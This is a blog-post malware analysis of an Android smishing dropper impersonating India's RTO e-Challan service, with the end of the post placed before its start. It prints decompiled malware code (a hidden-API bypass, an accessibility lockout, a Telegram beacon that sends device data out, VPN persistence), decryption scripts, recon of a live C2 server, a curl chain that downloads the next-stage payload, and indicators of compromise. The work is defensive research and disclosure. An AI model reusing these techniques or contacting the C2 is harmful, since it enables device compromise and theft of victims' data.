	print(f"Extracted {count} DEX files")
	
if __name__=="__main__":
	main()
</code></pre>
<p>This finally gave me a file, which, <em>fingers crossed</em> was a DEX file</p>
<pre><code class="language-shell">litmus in ~/CTFs/MalwareAnalysis/extracted_dex λ file classes1.dex
classes1.dex: Dalvik dex file version 035
</code></pre>
<p>Yay!</p>
<hr />
<h2>First Look Inside: Class Inventory</h2>
<p><code>jadx-gui</code> was the next obvious tool. I opened it up, and I was surprised! Unlike the stage-1 APK file, the DEX file didn't have obfuscated class names, which made it quite readable from the start.</p>
<img src="https://cdn.hashnode.com/uploads/covers/68d0b0f032185084509faad5/64281749-b469-4d9e-a923-fa36af1ab2ce.png" alt="Contents of the classes1.dex file as decompiled by JADX" style="display:block;margin:0 auto" />

<p>This was a blessing in disguise, since DEX classes don't have methods like <code>attachBaseContext()</code>, it would be a herculean task trying to manually sift through all the classes trying to isolate the starting point for the investigation.</p>
<p>The names of the DEX classes, such as <code>DnsFilterService</code>, <code>VpnBootReciever</code> indicate that the app might try to set up a VPN service to try and snoop on the network traffic of the device.</p>
<p>The <code>AccessChecker</code> and <code>AccessMonitor</code> classes sound like they might be exploiting the Accessibility service provided by Android to create overlays on screens, and/or capture arbitrary user input.</p>
<p>The <code>EndpointConfig</code> file sounds like something which would point me towards the C2 infrastructure of the threat actor.</p>
<p><code>MediaProvider</code> and <code>MediaCore</code> sound like files which might contain the core logic of the malware, masquerading under the Media player guise, like the app itself.</p>
<p>All of these signs smell of an infostealer, but what it really is, only analysis will tell</p>
<p>Let's go hunting! Low hanging fruit first</p>
<hr />
<h2>AccessChecker and AccessMonitor: The Accessibility Trap</h2>
<p>A huge thanks to my friend <a href="https://www.linkedin.com/in/harin-faldu/">Harin</a>, who volunteered to dig into these two while I was busy chasing the C2 infrastructure. Turns out, my initial read wasn't far off, but the reality was a bit more sinister than a simple overlay attack.</p>
<p><code>AccessMonitor</code> runs a polling loop every 2 seconds, checking two conditions: whether the payload has been installed (<code>j()</code>), and whether accessibility services have been enabled (<code>h()</code>). If either check fails and the counter hasn't hit 150 (that's 5 minutes of polling), it simply reschedules itself and tries again.</p>
<pre><code class="language-java">Runnable runnable = new Runnable() {
    public void run() {
        counter++;

        if (setupAlreadyComplete) {
            stopSelf();
            return;
        }

        boolean installed = j();
        boolean accessibility = h();

        if (installed &amp;&amp; accessibility) {
            NotificationHelper.updateNotification(...);
            savePreference("access_enabled", true);
            postDelayed(() -&gt; {
                k();
            }, 2000);
            return;
        }

        if (counter &gt;= 150) {
            stopSelf();
            return;
        }

        postDelayed(this, 2000);
    }
};
</code></pre>
<p>Once both conditions are satisfied, it calls <code>k()</code>, which launches <code>WebsiteActivity</code> in the foreground with flags that push it over everything else on screen — effectively locking the user out until the setup is complete.</p>
<pre><code class="language-java">public final void k() {
    m();
    NotificationHelper.sendFinalNotification(...);

    postDelayed(new Runnable() {
        public void run() {
            Intent intent = new Intent(
                AccessMonitor.this,
                WebsiteActivity.class
            );
            intent.addFlags(...);
            startActivity(intent);
            NotificationHelper.sendFinalNotification(...);
            stopSelf();
        }
    }, 1500);
}
</code></pre>
<p>So <code>AccessChecker</code> is less of a monitor and more of a hostage situation, the user is shown <code>WebsiteActivity</code> in the foreground, unable to interact with anything else, until they grant accessibility permissions. At that point, the malware considers setup done and moves on.</p>
<hr />
<h2>EndpointConfig: Finding the C2</h2>
<img src="https://cdn.hashnode.com/uploads/covers/68d0b0f032185084509faad5/b4d5eed5-9bb8-48b8-9ca0-9565fe2becb4.png" alt="" style="display:block;margin:0 auto" />

<p>The first glance at the <code>EndpointConfig</code> file shows a set of very interesting methods, and even more interesting, was the change in the method signature of the decryption routine used by the author. Unlike the previous APK, I thought the author finally changed their encryption method from the XOR technique used <em>abundantly</em> before.</p>
<p>The current decryption routine was</p>
<pre><code class="language-java">public static String stringDecryptXORFromArray(short[] cipherText, int offSet, int length, int XORKey) {
        char[] cArr = new char[length];
        for (int counter = 0; counter &lt; length; counter++) {
            cArr[counter] = (char) (cipherText[offSet + counter] ^ XORKey);
        }
        return new String(cArr);
    }
</code></pre>
<p>Looks like I praised the author too soon. This is still an XOR cipher, but instead of having a lot of byte arrays all over the place, this time they seemed to have created giant arrays of <code>short</code> for each class, and used a combination of <code>offset</code> and <code>length</code> to get the strings they need.</p>
<p>Naturally, the next step was to create a script which would help me decrypt this.</p>
<pre><code class="language-python">import sys
def stringDecryptXORFromArray(
    s_arr: list[int], start: int, length: int, xor_key: int
) -&gt; str:
    chars = []

    for offset in range(length):
        value = s_arr[start + offset] ^ xor_key
        chars.append(chr(value))

    return "".join(chars)


if __name__ == "__main__":
    s_arr = [ 
		# Redacted for brevity    
    ]
    start = int(sys.argv[1])
    length = int(sys.argv[2])
    xor_key = int(sys.argv[3])    

    decrypted_string = stringDecryptXORFromArray(s_arr, start, length, xor_key)
    print(decrypted_string)
</code></pre>
<p>The first variable I decrypt reveals an endpoint! (<a href="http://31:5001%5B.%5D77%5B.%5D168%5B.%5D247"><code>http://31[.]77[.]168[.]247:5001</code></a>)</p>
<p>Looks like we have our first piece to mapping the C2 Infrastructure. The other variables don't reveal much, just default timeout values and comments. There is a method called <code>getMirrorURL</code>, but it returns the same endpoint.</p>
<p>Checking the IP address on <a href="https://www.abuseipdb.com/">AbuseIPDB</a> shows it as benign.</p>
<img src="https://cdn.hashnode.com/uploads/covers/68d0b0f032185084509faad5/f07e8702-9c9a-468d-a6c1-69766f8f4db7.png" alt="" style="display:block;margin:0 auto" />

<p>I will report the IP address once I establish that it is being used maliciously. The domain name of <code>qwins.co</code>, which is a Russian <a href="https://en.wikipedia.org/wiki/Bulletproof_hosting">bulletproof hosting provider</a> provides a strong signal of malicious activity.</p>
<p>Let's do some recon of the infrastructure!</p>
<hr />
<h2>Infrastructure Recon</h2>
<p>As any cybersecurity student would, I ran a limited nmap scan over <code>torsocks</code>, which revealed the following results</p>
<pre><code class="language-shell">litmus in ~ λ torsocks nmap -F -sT 31.77.168.247 -vvv --system-dns 2&gt;/dev/null
Starting Nmap 7.92 ( https://nmap.org ) at 2026-06-26 11:35 IST
Initiating Ping Scan at 11:35
Scanning 31.77.168.247 [2 ports]
Completed Ping Scan at 11:35, 0.30s elapsed (1 total hosts)
Initiating System DNS resolution of 1 host. at 11:35
Completed System DNS resolution of 1 host. at 11:35, 0.00s elapsed
DNS resolution of 1 IPs took 0.00s. Mode: System [OK: 1, ??: 0]
Initiating Connect Scan at 11:35
Scanning vm163609.hosted-by.qwins.co (31.77.168.247) [100 ports]
Discovered open port 22/tcp on 31.77.168.247
Connect Scan Timing: About 18.00% done; ETC: 11:38 (0:02:21 remaining)
Discovered open port 80/tcp on 31.77.168.247
Discovered open port 8081/tcp on 31.77.168.247
Completed Connect Scan at 11:37, 80.99s elapsed (100 total ports)
Nmap scan report for vm163609.hosted-by.qwins.co (31.77.168.247)
Host is up, received syn-ack (0.30s latency).
Scanned at 2026-06-26 11:35:57 IST for 81s
</code></pre>
<p>The HTTP port responded with a standard NGINX response, but port 8081 had a different story to tell.</p>
<pre><code class="language-shell">litmus in ~ λ torsocks curl "http://31.77.168.247:8081" -v
*   Trying 31.77.168.247:8081...
* Established connection to 31.77.168.247 (31.77.168.247 port 8081) from 127.0.0.1 port 39982 
* using HTTP/1.x
&gt; GET / HTTP/1.1
&gt; Host: 31.77.168.247:8081
&gt; User-Agent: curl/8.18.0
&gt; Accept: */*
&gt; 
* Request completely sent off
&lt; HTTP/1.1 404 Not Found
&lt; Connection: keep-alive
&lt; Content-Type: application/json
&lt; Content-Length: 55
&lt; 
* Connection #0 to host 31.77.168.247:8081 left intact
{"ok":false,"error_code":404,"description":"Not Found"}% 
</code></pre>
<p>This response shape is very similar to Telegram proxies, which indicates that the malware might be using Telegram as a C2 channel.</p>
<hr />
<h2>DnsFilterService: The VPN which filters your traffic</h2>
<h3>What it does mechanically</h3>
<p>The <code>DnsFilterService</code> extends the <code>VPNService</code> class, and establishes a TUN interface and routes all traffic to <code>0.0.0.0</code>, and surprisingly, only adds the Google Play application ID to the <code>addAllowedApplication</code>, which only routes network from it via the app.</p>
<pre><code class="language-java">public final void buildVPNInterface() {
        String dnsFilter = "DnsFilter";
        try {
            Log.w(dnsFilter, "&gt;&gt; connect() called - building VPN interface");
            VpnService.Builder builder = new VpnService.Builder(this);
            builder.setSession("InstallerVPN").addAddress("10.8.0.2", 24).addRoute("0.0.0.0", 0).setMtu(1500).setBlocking(false);
            try {
                builder.addAllowedApplication("com.android.vending");
            } catch (Exception unused) {
            }
            ParcelFileDescriptor parcelFileDescriptorEstablish = builder.establish();
            this.a = parcelFileDescriptorEstablish;
            if (parcelFileDescriptorEstablish == null) {
                Log.e(dnsFilter, "&gt;&gt; VPN establish() returned NULL - VPN permission may be revoked\n");
                stopSelf();
            } else {
                b.set(true);
                Log.w(dnsFilter, "&gt;&gt; VPN CONNECTED successfully - isRunning=true");
                reportDeviceInfoAndVPNStatusViaTelegram();
            }
        } catch (Exception e) {
            Log.e(dnsFilter, C0001.m6(cipherArray, 386, 24, 1157) + e.getMessage(), e);
            handleVPNDisconnect();
            stopSelf();
        }
    }
</code></pre>
<p>This might be an attempt to prevent Play Protect from identifying, reporting and isolating the malware. Despite looking for code which handles the traffic of the VPN, I was unable to find it, which indicates that it might be handled by either the previous stage, or probably the next stage.</p>
<h3>The Telegram Beacon</h3>
<p>Alongside this, the app also uses a Telegram group as C2 to report the infected devices' manufacturer, model, Android version and VPN active status.</p>
<pre><code class="language-java">@Override // java.lang.Runnable
            public void run() {
                String strM10 = "DnsFilter";
                try {
                    String strEncode = URLEncoder.encode(C0011.m38(f51short, 10, 58, 1193) + (Build.MANUFACTURER + " " + Build.MODEL) + "`\n" +
                            "├ *Android:* `" + Build.VERSION.RELEASE + "`\n" +
                            "└ *Status:* ✅ VPN Active", "UTF-8");
                    StringBuilder sb = new StringBuilder();
                    sb.append("https://api.telegram.org/bot&lt;REDACTED&gt;:&lt;REDACTED&gt;/sendMessage?chat_id=-&lt;REDACTED&gt;&amp;text=");
                    sb.append(strEncode);
                    sb.append("&amp;parse_mode=Markdown");
                    HttpURLConnection httpURLConnection = (HttpURLConnection) new URL(sb.toString()).openConnection();
                    httpURLConnection.setRequestMethod("GET");
                    httpURLConnection.setConnectTimeout(10000);
                    Log.w(strM10, C0007.m21(f51short, 251, 36, 1929) + httpURLConnection.getResponseCode());
                    httpURLConnection.disconnect();
                } catch (Exception e) {
                    Log.e(strM10, C0014.m46(f51short, 287, 28, 2210) + e.getMessage());
                }
            }
        }).start();
</code></pre>
<h3>The persistence mechanism</h3>
<p>The app uses <code>AlarmManager</code> to schedule VPN restart with interval variation based on disconnect reason. This makes the VPN very annoying and difficult for the user to kill. Here's the code sample</p>
<pre><code class="language-java">public final void scheduleAlarmManagerToRestartVPN(long j) {
        String strM81 = C0024.m81(cipherArray, 534, 9, 1269);
        try {
            AlarmManager alarmManager = (AlarmManager) getSystemService("alarm३");
            if (alarmManager == null) {
                return;
            }
            Intent intent = new Intent(this, (Class&lt;?&gt;) DnsFilterService.class);
            intent.setAction(getStartAction(this));
            int i = Build.VERSION.SDK_INT;
            PendingIntent service = PendingIntent.getService(this, 9999, intent, i &gt;= 31 ? 201326592 : 134217728);
            long jElapsedRealtime = SystemClock.elapsedRealtime() + j;
            if (i &gt;= 23) {
                alarmManager.setExactAndAllowWhileIdle(2, jElapsedRealtime, service);
            } else {
                alarmManager.set(2, jElapsedRealtime, service);
            }
            Log.w(strM81, "&gt;&gt; AlarmManager SET - VPN will restart in" + j + "ms via ELAPSED_REALTIME_WAKEUP");
        } catch (Exception e) {
            Log.e(strM81, C0000.stringDecryptXORFromArray(cipherArray, 620, 24, 650) + e.getMessage(), e);
        }
    }
</code></pre>
<hr />
<h2>The Download Chain</h2>
<p>Elsewhere in the DEX file, the <code>StreamActivity</code> class looked like something which would handle internet connections, and it's <code>AnonymousClass23</code> was the only one which used the <code>getBaseURL()</code> function from <code>EndpointConfig</code>, so I set out to explore that. What I discovered that was:</p>
<p>The malware follows a three-step fetch protocol:</p>
<ol>
<li><p><code>GET /prepare?uid=Mortal-Okbaby</code> → server returns a <code>request_id</code> and starts building the payload (~25 seconds) Response: <code>{"download_url":"/pro/fetch?uid=Mortal-Okbaby&amp;request_id=a285c8ab","expiry":"2026-06-25 08:00:31","request_id":"a285c8ab","status":"ready"}</code></p>
</li>
<li><p><code>GET /status/&lt;request_id&gt;?uid=Mortal-Okbaby</code> → polls 45 times at 500ms intervals (22.5 second window) until status is <code>ready</code></p>
</li>
<li><p><code>GET /fetch?uid=Mortal-Okbaby&amp;request_id=&lt;rid&gt;</code> → downloads the payload</p>
</li>
</ol>
<p>I now had to connect to the attackers C2 Infra in order to download the next payload. After analyzing another function which failed to decompile using Gemini based off JADX's bytecode comments, I found the full download URL schema.</p>
<p>A notable deception: the <code>/status</code> response includes a <code>download_url</code> field pointing to <code>/pro/fetch</code>, but the malware ignores this entirely and constructs the real URL from its own encrypted strings. The server advertises a path it doesn't serve from — deliberate analyst misdirection or a vestigial routing artifact.</p>
<p>I then used a quick script to request the preparing of the payload and download it</p>
<pre><code class="language-shell">RID=$(torsocks curl -s "http://31.77.168.247:5001/prepare?uid=Mortal-Okbaby" | grep -o '"request_id":"[^"]*"' | cut -d'"' -f4) \
  &amp;&amp; echo "RID: $RID" \
  &amp;&amp; sleep 8 \
  &amp;&amp; torsocks curl -v \
     -H "Connection: keep-alive" \
     "http://31.77.168.247:5001/fetch?uid=Mortal-Okbaby&amp;request_id=$RID" \
     -o stream_codec.dat \
  &amp;&amp; file stream_codec.dat
</code></pre>
<p>Finally,</p>
<pre><code class="language-shell">RID: 1c492e5d
  % Total    % Received % Xferd  Average Speed  Time    Time    Time   Current
                                 Dload  Upload  Total   Spent   Left   Speed
  0      0   0      0   0      0      0      0                              0*   Trying 31.77.168.247:5001...
* Established connection to 31.77.168.247 (31.77.168.247 port 5001) from 10.156.239.35 port 35304 
* using HTTP/1.x
&gt; GET /fetch?uid=Mortal-Okbaby&amp;request_id=1c492e5d HTTP/1.1
&gt; Host: 31.77.168.247:5001
&gt; User-Agent: curl/8.18.0
&gt; Accept: */*
&gt; Connection: keep-alive
&gt; 
* Request completely sent off
&lt; HTTP/1.1 200 OK
&lt; Server: Werkzeug/3.0.6 Python/3.8.10
&lt; Date: Thu, 25 Jun 2026 07:16:22 GMT
&lt; Content-Disposition: attachment; filename=1c492e5d.png
&lt; Content-Type: image/png
&lt; Content-Length: 12387828
&lt; Last-Modified: Thu, 25 Jun 2026 07:16:14 GMT
&lt; Cache-Control: no-cache
&lt; ETag: "1782371774.722387-12387828-3174568288"
&lt; Date: Thu, 25 Jun 2026 07:16:22 GMT
&lt; Connection: close
&lt; 
{ [1448 bytes data]
100 11.81M 100 11.81M   0      0  3.09M      0   00:03   00:03          2.66M
* shutting down connection #0
stream_codec_direct.dat: data
</code></pre>
<p>The payload arrives disguised as a PNG (<code>Content-Type: image/png</code>, filename <code>&lt;rid&gt;.png</code>) but <code>file</code> identifies it as <code>data</code>, which strongly hints it's an AES-256 encrypted ZIP.</p>
<hr />
<h2>Decryption and Installation</h2>
<p>As expected, the app then proceeds to use the <code>zip4j</code> library to decrypt the ZIP file, which was encrypted with the password <code>V3nd3tt@S3cur3Z1p!</code>. The ZIP contained data.dat, which was quickly revealed to be the next stage payload by checking it's magic bytes <code>0x50 0x4B</code> which translate to readable <code>PK</code>.</p>
<p>The <code>SetupHandler</code> class handles <code>PackageInstaller</code> session callbacks. Once it receives <code>status=0</code>, which indicates the successful installation of the package, it reads the name of the installed application from the SharedPreferences, and immediately proceeds to launch it.</p>
<hr />
<h2>Stage 3: The Nested Dropper</h2>
<p>I thought a two-stage chain was already ambitious for a smishing APK. Apparently not.</p>
<p>I then uploaded the extracted APK for analysis to the MobSF instance on my machine, and behold</p>
<img src="https://cdn.hashnode.com/uploads/covers/68d0b0f032185084509faad5/ed8c8d34-1b5c-4b19-8fd1-de144a0ceab3.png" alt="" style="display:block;margin:0 auto" />

<p>The same logo impersonation and a seemingly random package name, but the Main Activity <a href="http://dApp.binance.Trading"><code>dApp.binance.Trading</code></a><code>.Signals.MainActivity</code> , ironically signals that it might be the lookalike of a popular Crypto exchange in India.</p>
<p>Looking at the permissions declared in the Manifest of the APK, it was evident that this would probably be the last stage in the already 3-step long chain.</p>
<img src="https://cdn.hashnode.com/uploads/covers/68d0b0f032185084509faad5/a0af6905-11df-4861-a65d-11d1c70933bd.png" alt="" style="display:block;margin:0 auto" />

<img src="https://cdn.hashnode.com/uploads/covers/68d0b0f032185084509faad5/f6df79fd-8078-40d9-b11d-93df0eceb0fe.png" alt="" style="display:block;margin:0 auto" />

<img src="https://cdn.hashnode.com/uploads/covers/68d0b0f032185084509faad5/d3cfaeab-8001-4552-8832-41869c118945.png" alt="" style="display:block;margin:0 auto" />

<p>That's a <em>lot</em> of permissions, and they all point in the same direction.</p>
<p>Finally, I opened up the apk in <code>jadx-gui</code>, and I was greeted with the same <code>attachBaseContext()</code> skeleton, same obfuscated class names, just <code>short[]</code> swapped for <code>byte[]</code>I thought a two-stage chain was already ambitious for a smishing APK. Apparently not</p>
<p>This meant there was another payload inside of this one!</p>
<hr />
<h2>Finding the final payload</h2>
<p>I looked into the sources of this APK, but couldn't find the advertised <a href="http://dApp.binance.Trading"><code>dApp.binance.Trading</code></a><code>.Signals.MainActivity</code> Activity anywhere. Given the similarity to the original dropper, I found another <code>.bin</code> file in the assets, and used the same decryption script, just with the key material changed to extract a whopping <strong>65 DEX classes.</strong></p>
<img src="https://cdn.hashnode.com/uploads/covers/68d0b0f032185084509faad5/ea5a41e0-44a2-452a-9a5b-47ada738d57c.png" alt="" style="display:block;margin:0 auto" />

<p>The final payload deserves its own post, 65 DEX files isn't a footnote.</p>
<hr />
<h2>Indicators of Compromise</h2>
<h3>Stage 1 — Dropper (<code>ca8818e7_RT0-eChallan.apk</code>)</h3>
<pre><code class="language-plaintext">APK filename:  ca8818e7_RT0-eChallan.apk
Package name:  com.uptodown.installer
SHA256:        364983d2dbff85f4b9b2bac2beba40ad29ac85f2a16bdbc8fd65896ef03cddb2
Asset file:    r_4dfb.bin (encrypted multi-DEX container)
HMAC salt:     dg_hmac_v2
Encryption:    AES/CBC/PKCS5Padding
HMAC seed key: [123, 106, 39, -27, 58, 25, -76, 112, -101, -85, 64, -79, 125, -6, -123, -81, 39, -45, -114, -55, -39, 86, -42, 126, -70, -35, -82, 105, 65, -104, -88, -84]
</code></pre>
<h3>Stage 2 — DEX Payload (<code>com.stream.media.player</code>)</h3>
<pre><code class="language-plaintext">Package name:  com.stream.media.player
Asset file:    stream_codec.dat (AES-256 ZIP, downloaded from C2)
ZIP password:  V3nd3tt@S3cur3Z1p!
ZIP contents:  data.dat (stage 3 APK)
Campaign UID:  Mortal-Okbaby
</code></pre>
<h3>Stage 3 — Nested Dropper (<code>app.loitx.aknmk</code>)</h3>
<pre><code class="language-plaintext">Package name:  app.loitx.aknmk
Display name:  Binance Trading Signals
Encryption:    AES/CBC/PKCS5Padding (identical chain to stage 1)
XOR scheme:    byte[] XOR (vs short[] XOR in stage 1)
HMAC salt:     dg_hmac_v2
</code></pre>
<h3>Network</h3>
<pre><code class="language-plaintext">C2 primary:    31.77.168.247:5001  (Flask/Werkzeug 3.0.6, Python 3.8.10)
C2 hostname:   vm163609.hosted-by-qwins.co
C2 proxy:      31.77.168.247:8081  (Telegram Bot API reverse proxy)
Hosting:       QWINS-Hosting, AS213702 
Smishing URL:  echallan-traffic.live/IN
Endpoints:     /prepare?uid=Mortal-Okbaby
               /status/&lt;request_id&gt;?uid=Mortal-Okbaby
               /fetch?uid=Mortal-Okbaby&amp;request_id=&lt;rid&gt;
</code></pre>
]]></content:encoded></item><item><title><![CDATA[The Spam SMS that turned into a rabbit hole]]></title><description><![CDATA[⚠
WARNING: If you received a SMS claiming your vehicle has an outstanding RTO challan with a link which downloads an .apk file, do not open it. This is an active malware campaign as of June 2026 imper]]></description><link>https://blog.realrudrap.dev/the-spam-sms-that-turned-into-a-rabbit-hole</link><guid isPermaLink="true">https://blog.realrudrap.dev/the-spam-sms-that-turned-into-a-rabbit-hole</guid><category><![CDATA[Android]]></category><category><![CDATA[malware analysis]]></category><category><![CDATA[reverse engineering]]></category><category><![CDATA[cybersecurity]]></category><dc:creator><![CDATA[Rudra Ponkshe]]></dc:creator><pubDate>Wed, 24 Jun 2026 09:13:12 GMT</pubDate><content:encoded><![CDATA[<div>
<div>⚠</div>
<div>WARNING: If you received a SMS claiming your vehicle has an outstanding RTO challan with a link which downloads an <code>.apk</code> file, <strong>do not open it.</strong> This is an active malware campaign as of June 2026 impersonating the Ministry of Road Transport and Highways (MoRTH). Report on <a target="_blank" rel="noopener noreferrer nofollow" class="text-primary underline underline-offset-2 hover:text-primary/80 cursor-pointer" href="https://cybercrime.gov.in" style="pointer-events:none">cybercrime.gov.in</a></div>
</div>

<h2>Introduction</h2>
<p>Yesterday, I got an SMS which I almost ignored; Jio had flagged it as spam. It claimed to be from the Ministry of Road Transport and Highways, warning me that my vehicle had an outstanding challan, with a link to "check and download" it. Classic urgency bait.</p>
<img src="https://cdn.hashnode.com/uploads/covers/68d0b0f032185084509faad5/5d4b47f0-173f-4771-92df-69590c7ef3db.png" alt="" style="display:block;margin:0 auto" />

<p>I was supposed to work on <a href="https://gitlab.com/realRudraP/beacon">Beacon</a>, my own Android app. Instead, when I got back to my workbench today, curiosity got the better of me. I opened the link, and it dropped an APK! I'll be honest, I was kind of excited. I'd been wanting to get my hands on live malware for a while, and here it was, delivered straight to my phone.</p>
<p>What I expected to be a quick five-minute triage turned into a full day of rabbit holes, my first real-world malware analysis, and now a blog post.</p>
<p>The Part 1 of this writeup covers the dropper/loader, while the 2nd part will be about the embedded payload.</p>
<p>For this analysis, I used jadx, MobSF and some custom python scripts to make life easier.</p>
<p>Let's get into it!</p>
<p>Part 1/n</p>
<hr />
<h2>Triage</h2>
<p>Following awesome cybersecurity content creators like John Hammond on YouTube and watching many of their malware analysis videos, I decided to go the proper way and start with a triage of the APK file. Here's what I gathered:</p>
<ul>
<li><p>The name of the APK file was <code>ca8818e7_RT0-eChallan.apk</code></p>
</li>
<li><p>The SHA-256 hash is <code>364983d2dbff85f4b9b2bac2beba40ad29ac85f2a16bdbc8fd65896ef03cddb2</code></p>
</li>
</ul>
<p>Looking the SHA-256 hash on VirusTotal confirmed my suspicion. It had 8/58 vendors reporting it as malicious, and it was labelled as a Trojan, dropper and banker.</p>
<img src="https://cdn.hashnode.com/uploads/covers/68d0b0f032185084509faad5/81bb5b46-88fb-453d-9aec-4f39fc33babf.png" alt="" style="display:block;margin:0 auto" />

<ul>
<li>The package name <code>com.uptodown.installer</code> was an attempt at impersonating <code>uptodown.com</code>, a legitimate APK store.</li>
</ul>
<p>I then ran the APK through the MobSF instance on my machine, and the Government of India emblem and the name of the app <code>Rto Echallan</code> was another layer of impersonation which would be seen by the user. Even before starting the analysis, the package name was a red flag, since genuine government apps would use <code>in.gov.*</code> or similar official namespaces.</p>
<p>MobSF gave a security score of 26/100, and reported 0/432 trackers detected.</p>
<img src="https://cdn.hashnode.com/uploads/covers/68d0b0f032185084509faad5/8ad243b0-32b4-46d9-9b01-1478d3b2cbd8.png" alt="" style="display:block;margin:0 auto" />

<hr />
<h3>Automated Analysis: MobSF</h3>
<p><a href="https://github.com/mobsf/mobile-security-framework-mobsf">MobSF</a> is "a security research platform for mobile applications in Android, iOS and Windows Mobile. MobSF can be used for a variety of use cases such as mobile application security, penetration testing, malware analysis, and privacy analysis."</p>
<p>It performs quite a lot of the initial analysis usually done fast, and shows the results in a beautiful UI.</p>
<img src="https://cdn.hashnode.com/uploads/covers/68d0b0f032185084509faad5/10ac7cf0-a7a0-4b70-83a7-48862799ec7d.png" alt="" style="display:block;margin:0 auto" />

<p>Out of all the things which MobSF showed, the permissions section is what stood out the most to me. The following table shows the suspicious permissions and a brief explanation of why it raised alarms for me.</p>
<table>
<thead>
<tr>
<th>Permission</th>
<th>Why it's suspicious</th>
</tr>
</thead>
<tbody><tr>
<td><code>READ_EXTERNAL_STORAGE</code></td>
<td>Exfiltrate files from the device</td>
</tr>
<tr>
<td><code>REQUEST_INSTALL_PACKAGES</code></td>
<td>Silently install additional APKs/payloads</td>
</tr>
<tr>
<td><code>RECEIVE_BOOT_COMPLETED</code></td>
<td>Persistence: survives device reboot</td>
</tr>
<tr>
<td><code>FOREGROUND_SERVICE</code></td>
<td>Run silently in background without user seeing it</td>
</tr>
<tr>
<td><code>SCHEDULE_EXACT_ALARM</code></td>
<td>Time precise background operations</td>
</tr>
<tr>
<td><code>SET_WALLPAPER</code></td>
<td>Low signal alone, but part of a broader spyware pattern</td>
</tr>
</tbody></table>
<p>While these permissions in themselves are used often by benign apps, all of them coming together is something to be cautious about.</p>
<p>Along with the permissions, the decompiled source code of the app also included SAI (Split APK Installer), which is used to install APKs onto devices. This strengthened the hypotheses that the app is a <a href="https://en.wikipedia.org/wiki/Dropper_(malware)">dropper</a>, which would be used to install more malicious packages.</p>
<hr />
<h2>Static Analysis</h2>
<h3>Opening the file in JADX</h3>
<ul>
<li>Opening the file in JADX revealed an important detail: the sources for the APK had both the code for <code>com.aefyr.sai</code> and <code>com.wave</code>, with the latter containing files with seemingly random names.</li>
</ul>
<img src="https://cdn.hashnode.com/uploads/covers/68d0b0f032185084509faad5/e840ded1-cffa-4bda-b56f-45494946a629.png" alt="" style="display:block;margin:0 auto" />

<p>Looking through the files, I noticed that there was very little source code visible, which meant it wasn't a very heavily-featured app and that most logic was hidden.</p>
<p>Which meant I now had to uncover it.</p>
<h3>String Obfuscation: XOR cipher</h3>
<img src="https://cdn.hashnode.com/uploads/covers/68d0b0f032185084509faad5/e43d432a-a69d-4f08-99a3-39c9dd041c2a.png" alt="" style="display:block;margin:0 auto" />

<p>The <code>i1qiwvd</code> function shown in the screenshot is a classic XOR Cipher. It takes a byte array, and an integer key as parameters, XORs them byte by byte and return the result in the form of a string. This pattern is commonly used throughout the codebase to hide strings from static analyzers.</p>
<p>I used the following Python script to decode the data wherever need be</p>
<pre><code class="language-python">def decrypt_string_xor(byte_array, xor_key):
    decrypted = bytearray()
    for b in byte_array:
        # Java bytes are unsigned while Python bytes are signed
        # Normalize the byte to be in the range of 0-255
        if b &lt; 0:
            b += 256
        decrypted.append(b ^ xor_key)

    return decrypted.decode("utf-8", errors="ignore")
</code></pre>
<p>After this, I renamed the function in JADX so the logic became more readable.</p>
<div>
<div>💡</div>
<div>From this point on, I have replaced all XOR-encrypted strings with their decrypted values.</div>
</div>

<hr />
<h3>Bypassing Android's Hidden API Restriction</h3>
<p>As I began inspecting the source code, I noticed a long body for the <code>attachBaseContext()</code> method. This method is often used by malware authors since it runs before the application even launches, and as the name suggests, acts as the base context for the actual package.</p>
<p>The <code>attachBaseContext</code> function included a call to the <code>oufbd()</code> method, which upon inspection led to an interesting observation. Here is the cleaned up code of the method</p>
<pre><code class="language-java">public static void oufbd() {
        if (Build.VERSION.SDK_INT &lt; 28) {
            // If Android Version is less than 9, return
            return;
        }
        try {
            Method forName = Class.class.getDeclaredMethod(
                "forName",
                String.class
            );
            Method getDeclaredMethod = Class.class.getDeclaredMethod(
                "getDeclaredMethod",
                String.class,
                Class[].class
            );
            Class cls = (Class) forName.invoke(
                null,
                "dalvik.system.VMRuntime"
            );
            (
                (Method) getDeclaredMethod.invoke(
                    cls,
                    "setHiddenApiExemptions",
                    new Class[] { String[].class }
                )
            ).invoke(
                (
                    (Method) getDeclaredMethod.invoke(cls, "getRuntime", null)
                ).invoke(null, new Object[0]),
                "L"
            );
        } catch (Throwable th) {}
    }
</code></pre>
<p>This block of code tries to achieve access to blocked internal Android APIs using a technique called <a href="https://owasp.org/www-community/vulnerabilities/Unsafe_use_of_Reflection">Reflection</a>. Google, since Android 9 has blocked apps from directly accessing these critical methods, and trying to invoke them results in the app being terminated along with a SecurityException. To get past this, as well as static analyzers which look out for calls to these functions, the APK uses Double Reflection to call the function <code>VMRuntime.setHiddenApiExemptions("L")</code>, which disables all the security measures related to the hidden Android APIs.</p>
<p>The "L", in Dalvik bytecode is the prefix for all Java class references, hence the above function call allowlists all methods to be called.</p>
<p>Another benefit of this is that since the decryption of the class and methods names do not happen until runtime, call-graph analyzers also fail to properly map the API usage.</p>
<h3>The Payload Decryption Chain</h3>
<p>Looking at the next function being called, it is seen that the file <code>r_4dfb.bin</code> is extracted from the APKs assets. It is passed into a interestingly designed function, which seems to decrypt a given input in multiple ways, depending on an integer variable passed to it in the function call. I call this function the <code>multiplexedPayloadDecryptor</code></p>
<img src="https://cdn.hashnode.com/uploads/covers/68d0b0f032185084509faad5/1c819e36-3e34-4eb6-a46f-402bf34404bc.png" alt="" style="display:block;margin:0 auto" />

<p>Since the function call in the current step used the <code>opCode</code> 0, I only investigated that branch to find that it was again, a repeating XOR cipher, which takes a byte array of ciphertext and key, and returns the plaintext.</p>
<p>Analyzing the function call, the ciphertext in this case was the file in the assets, the key was being returned by a constant value return function. The other branches will be analyzed in the upcoming parts if need be.</p>
<p>I wrote a python script to emulate the behavior on the file I had extracted from the APKs assets and from the constant key which I found embedded in the code.</p>
<pre><code class="language-python">def decrypt_payload():
    xor_java_key = [
        108,
        41,
        58,
        17,
        -66,
        107,
        -18,
        80,
        127,
        9,
        -123,
        127,
        101,
        -41,
        23,
        108,
    ]

    xor_key = [b + 256 if b &lt; 0 else b for b in xor_java_key]

    target_file = "r_4dfb.bin"
    output_file = "decrypted_payload.bin"

    with open(target_file, "rb") as f:
        encrypted_data = f.read()

    decrypted_data = bytearray()
    key_length = len(xor_key)

    for i, byte in enumerate(encrypted_data):
